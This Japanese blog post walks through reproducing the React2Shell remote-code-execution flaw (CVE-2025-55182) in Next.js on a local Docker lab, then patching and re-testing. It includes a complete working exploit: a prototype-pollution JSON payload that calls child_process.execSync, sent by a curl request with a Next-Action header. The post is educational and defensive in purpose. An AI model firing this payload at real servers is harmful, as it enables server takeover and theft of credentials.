【実演あり】React2Shell脆弱性(CVE-2025-55182)を再現してみた

【実演あり】React2Shell脆弱性(CVE-2025-55182)を再現してみた

2025/12/14に公開

「Next.jsアプリがハッキングされた」

12月3日、こんなニュースが飛び込んできました。しかもCVSS 10.0(最大スコア)の致命的な脆弱性。公開から数時間で攻撃が始まり、すでに被害も出ています。

Next.jsやReact 19を使っている方、大丈夫ですか?

僕も最初にこのニュースを見たとき「え、うちのプロジェクトは?」と焦りました。実際に手を動かして調べてみたので、この記事では脆弱性を再現しながら、何が起きているのかを一緒に見ていきましょう。

Caution

この記事の再現手順は教育目的です。必ず自分のローカル環境でのみ実行してください。他者のシステムには絶対に使わないでください。

まず確認しよう: うちのプロジェクトは大丈夫?

「細かいことはいいから、まず確認したい!」という方、分かります。

30秒チェック

プロジェクトのルートで、このコマンドを叩いてみてください:

ターミナル
npm list react-server-dom-webpack react-server-dom-turbopack react-server-dom-parcel 2>/dev/null | grep -E "19\.(0\.0|1\.[01]|2\.0)"

何か表示されたら...残念ながら脆弱なバージョンを使っています。すぐに更新しましょう。

どのバージョンがヤバい?

パッケージ脆弱修正済み
react-server-dom-webpack19.0.0, 19.1.0, 19.1.1, 19.2.019.0.1, 19.1.2, 19.2.1
react-server-dom-turbopack19.0.0, 19.1.0, 19.1.1, 19.2.019.0.1, 19.1.2, 19.2.1
react-server-dom-parcel19.0.0, 19.1.0, 19.1.1, 19.2.019.0.1, 19.1.2, 19.2.1
Next.js15.0.4以下, 16.0.6以下15.0.5+, 16.0.7+
Warning

create-next-appで作ったデフォルトのアプリも対象です。App Routerを使っているなら要注意。

参考: Tenable CVE情報

React2Shellって何なの?

ざっくり言うと

ログインなしで、サーバーを乗っ取れる脆弱性です。

HTTPリクエストを1つ送るだけ。それだけでサーバー上で好きなコマンドを実行できてしまいます。怖いですよね。

基本情報

項目内容
CVE番号CVE-2025-55182
名称React2Shell
深刻度Critical(CVSS 10.0)
発見者Lachlan Davidson
報告日2025年11月29日
公開日2025年12月3日

どれくらい影響あるの?

Wizの調査によると:

  • クラウド環境の 39% に脆弱なReact/Next.jsがある
  • 44% のクラウド環境がNext.jsを外部に公開している

...結構な数ですよね。

何が起きてるの? 技術的な話

RSCの仕組み

React 19から React Server Components(RSC) という機能が入りました。サーバーでReactをレンダリングして、その結果をクライアントに送る仕組みです。

このデータのやり取りに使われるのがFlightプロトコル

で、何が問題だったの?

Flightプロトコルは、データを送るときに「シリアライズ」(データを文字列に変換)して、受け取るときに「デシリアライズ」(元に戻す)します。

問題は、この「デシリアライズ」の処理。受け取ったデータをちゃんとチェックしてなかったんです。

攻撃者は変なデータを送りつけて:

  1. JavaScriptのFunctionコンストラクタにアクセス
  2. 好きなJavaScriptコードを実行
  3. child_process.exec()でシステムコマンドを実行

こうやってサーバーを乗っ取ります。

Note

もっと詳しく知りたい方はWiz Blog - Deep Diveをどうぞ。

実際にやってみよう

百聞は一見にしかず。実際に再現してみましょう。

Caution

繰り返しますが、必ず自分のローカル環境で実行してください。

準備するもの

  • Docker Desktop
  • curl

これだけでOK。

Step 1: 脆弱なアプリを起動

l4rm4nd/CVE-2025-55182がDocker環境を用意してくれています。ありがたい。

ターミナル
docker run --rm -p 127.0.0.1:3000:3000 ghcr.io/l4rm4nd/cve-2025-55182:latest
Note

Apple Silicon (M1/M2/M3) Macの場合は、arm64未対応のため以下のように実行してください:

ターミナル
docker run --rm --platform=linux/amd64 -p 127.0.0.1:3000:3000 ghcr.io/l4rm4nd/cve-2025-55182:latest

127.0.0.1にバインドしているので、外からはアクセスできません。安心。

起動したら http://127.0.0.1:3000 にアクセスして、Next.jsアプリが見えることを確認してください。

Docker起動

Step 2: 脆弱性チェック(任意)

Assetnoteがスキャナーを公開しています:

ターミナル
$ git clone https://github.com/assetnote/react2shell-scanner $ cd react2shell-scanner $ python3 -m venv venv $ source venv/bin/activate $ pip install -r requirements.txt $ python3 scanner.py -u http://127.0.0.1:3000

脆弱なら、こう表示されます:

[VULNERABLE] http://127.0.0.1:3000 - Status: 303

スキャン結果

Step 3: 攻撃してみる

いよいよ本番。サーバー上でコマンドを実行してみます。

まず、攻撃用のペイロードを作ります。

ポイントは3つ:

  • フィールド0: 偽のチャンクオブジェクト(プロトタイプ汚染用)
  • フィールド1: "$@0"という自己参照(これが攻撃の鍵!)
  • フィールド2: 空配列[]

payload.jsonというファイルを作成して、以下の内容を書き込んでください:

payload.json
{ "then": "$1:__proto__:then", "status": "resolved_model", "reason": -1, "value": "{\"then\":\"$B1337\"}", "_response": { "_prefix": "var res=process.mainModule.require('child_process').execSync('touch /tmp/pwned',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});", "_chunks": "$Q2", "_formData": { "get": "$1:constructor:constructor" } } }

このペイロードは /tmp/pwned というファイルを作ります。無害ですが、コマンドが実行できた証拠になります。

次に、ref.txtというファイルを作成して、以下の内容を書き込んでください:

ref.txt
"$@0"

では、実行:

ターミナル
curl -X POST http://127.0.0.1:3000 \ -H "Next-Action: x" \ -F "0=<payload.json" \ -F "1=<ref.txt" \ -F "2=[]"

以下のような応答が返ってきます:

0:{"a":"$@1","f":"","b":"JkJacmr3AsqLhdY9YSmrr"} 1:E{"digest":"4221456581"}

1:E{"digest":"..."} が返ってきたら、コマンドは実行されています。

Step 4: 成功したか確認

ファイルができたかチェックしてみましょう:

ターミナル
CONTAINER_ID=$(docker ps -q --filter ancestor=ghcr.io/l4rm4nd/cve-2025-55182:latest) docker exec $CONTAINER_ID ls -la /tmp/pwned

ファイルがあれば...攻撃成功です。

攻撃成功

えっ、これだけ?

そう、たった1つのHTTPリクエストでサーバー上のコマンドが実行できちゃいました。

実際の攻撃者はこれを悪用して:

  • 環境変数からAWSキーを盗む
  • バックドアを仕込む
  • 暗号通貨マイナーを動かす
  • ランサムウェアを展開する

といったことをやっています。怖い。

お片付け

実験が終わったら消しておきましょう。

コンテナを停止:

ターミナル
docker stop $(docker ps -q --filter ancestor=ghcr.io/l4rm4nd/cve-2025-55182:latest)

イメージを削除:

ターミナル
docker rmi ghcr.io/l4rm4nd/cve-2025-55182:latest

今すぐ直そう

さっき攻撃が成功したのを見て、ちょっとゾッとしましたよね。でも安心してください、直すのは簡単です。

実際にパッチを当てて、同じ攻撃が失敗することを確認してみましょう。

Step 1: プロジェクトを用意

さっき使ったDockerイメージの元になっているリポジトリをクローンします:

ターミナル
git clone https://github.com/l4rm4nd/CVE-2025-55182.git cd CVE-2025-55182

依存関係をインストール:

ターミナル
npm install

Step 2: サーバー起動(脆弱版)

サーバーを起動してみましょう:

ターミナル
npm run dev

すると、こんな警告が表示されます:

1 critical severity vulnerability To address all issues, run: npm audit fix --force

脆弱性があることをnpm自体が警告してくれています。でも今回は検証のため、このまま進めます。

サーバーが起動したら http://127.0.0.1:3000 にアクセスして、アプリが表示されることを確認してください。

Step 3: スキャナーでチェック

別のターミナルを開いて、スキャナーを実行します:

ターミナル
python3 react2shell-scanner/scanner.py -u http://127.0.0.1:3000

結果:

brought to you by assetnote [*] Loaded 1 host(s) to scan [*] Using 10 thread(s) [*] Timeout: 10s [*] Using RCE PoC check [!] SSL verification disabled [VULNERABLE] http://127.0.0.1:3000 - Status: 303 ============================================================ SCAN SUMMARY ============================================================ Total hosts scanned: 1 Vulnerable: 1 Not vulnerable: 0 Errors: 0 ============================================================

やっぱり脆弱ですね。

Step 4: パッチを当てる

まず、サーバーを起動しているターミナルで Ctrl+C を押してサーバーを停止します。

次に、npmが案内してくれた通りにパッチを当てます:

ターミナル
npm audit fix --force

これでNext.jsが修正済みバージョンに更新されます。

Note

npm audit fixを使わない場合は、Next.jsやReactを最新バージョンに更新すればOKです:

ターミナル
npm install next@latest react@latest react-dom@latest

確認してみましょう:

ターミナル
npm list next

出力例:

└── next@16.0.10

16.0.7以上になっていればOK!

Step 5: サーバー再起動

もう一度サーバーを起動します:

ターミナル
npm run dev

今度は 1 critical severity vulnerability の警告が出ないはずです。

Step 6: 再度スキャン

別のターミナルで、同じスキャンを実行:

ターミナル
python3 react2shell-scanner/scanner.py -u http://127.0.0.1:3000

結果:

brought to you by assetnote [*] Loaded 1 host(s) to scan [*] Using 10 thread(s) [*] Timeout: 10s [*] Using RCE PoC check [!] SSL verification disabled [NOT VULNERABLE] http://127.0.0.1:3000 - Status: 404 ============================================================ SCAN SUMMARY ============================================================ Total hosts scanned: 1 Vulnerable: 0 Not vulnerable: 1 Errors: 0 ============================================================

攻撃が通らなくなりました!

Step 7: 攻撃も試してみる

念のため、さっきのペイロードで攻撃してみましょう:

ターミナル
curl -X POST http://127.0.0.1:3000 \ -H "Next-Action: x" \ -F "0=<payload.json" \ -F "1=<ref.txt" \ -F "2=[]"

パッチ適用後は、以下の応答が返ってきます:

Server action not found.

コマンドは実行されず、ちゃんと拒否されています。

お片付け

サーバーを Ctrl+C で停止して、クローンしたリポジトリを削除:

ターミナル
cd .. rm -rf CVE-2025-55182

攻撃の状況

タイムライン

日時何が起きた?
11月29日発見者がMeta/Vercelに報告
12月3日脆弱性とパッチを同時公開
12月3日公開から数時間で攻撃開始
12月5日CISAが「悪用されている」と認定

参考: Tenable FAQ

誰が攻撃してるの?

GoogleAWSの調査によると:

  • 中国系グループ: Earth Lamia、Jackpot Panda
  • イラン系グループ: 複数
  • 犯罪者: 暗号通貨マイニング、ボットネット

国家レベルのハッカーから小遣い稼ぎの犯罪者まで、いろんな人が狙っています。

どんな攻撃が観測されてる?

Unit 42によると:

  • 環境変数からAWSキーやDB認証情報を盗む
  • Cobalt Strikeを仕込む
  • 暗号通貨マイナー(XMRig)を動かす
  • Miraiボットネットに組み込む

今後どうする?

依存関係をチェックする習慣を

今回の教訓は「デフォルト設定でも安全じゃない」ということ。

  • npm auditを定期的に実行
  • DependabotSnykを入れる
  • 重要な脆弱性のアラートを受け取れるようにする

情報収集のススメ

こういうのをフォローしておくと、次の脆弱性も早めに気づけます:

  • JPCERT/CC - 日本の公的機関
  • Wiz Blog - クラウドセキュリティに強い
  • piyolog - 日本語で分かりやすい

まとめ

React2Shell(CVE-2025-55182)、ヤバい脆弱性でした:

  • CVSS 10.0 - 最大スコア
  • ログイン不要でサーバー乗っ取り
  • デフォルト設定でも脆弱
  • 公開から数時間で攻撃開始

やることは2つ:

  1. 今すぐパッケージを更新する
  2. これからは依存関係を定期チェックする

まだ確認してない方、今すぐチェックしてください!

参考リンク

公式・信頼できるソース

再現・検証用

この記事はいかがでしたか?

もしこの記事が参考になりましたら、
高評価をいただけると大変嬉しいです!

皆様からの応援が励みになります。ありがとうございます! ✨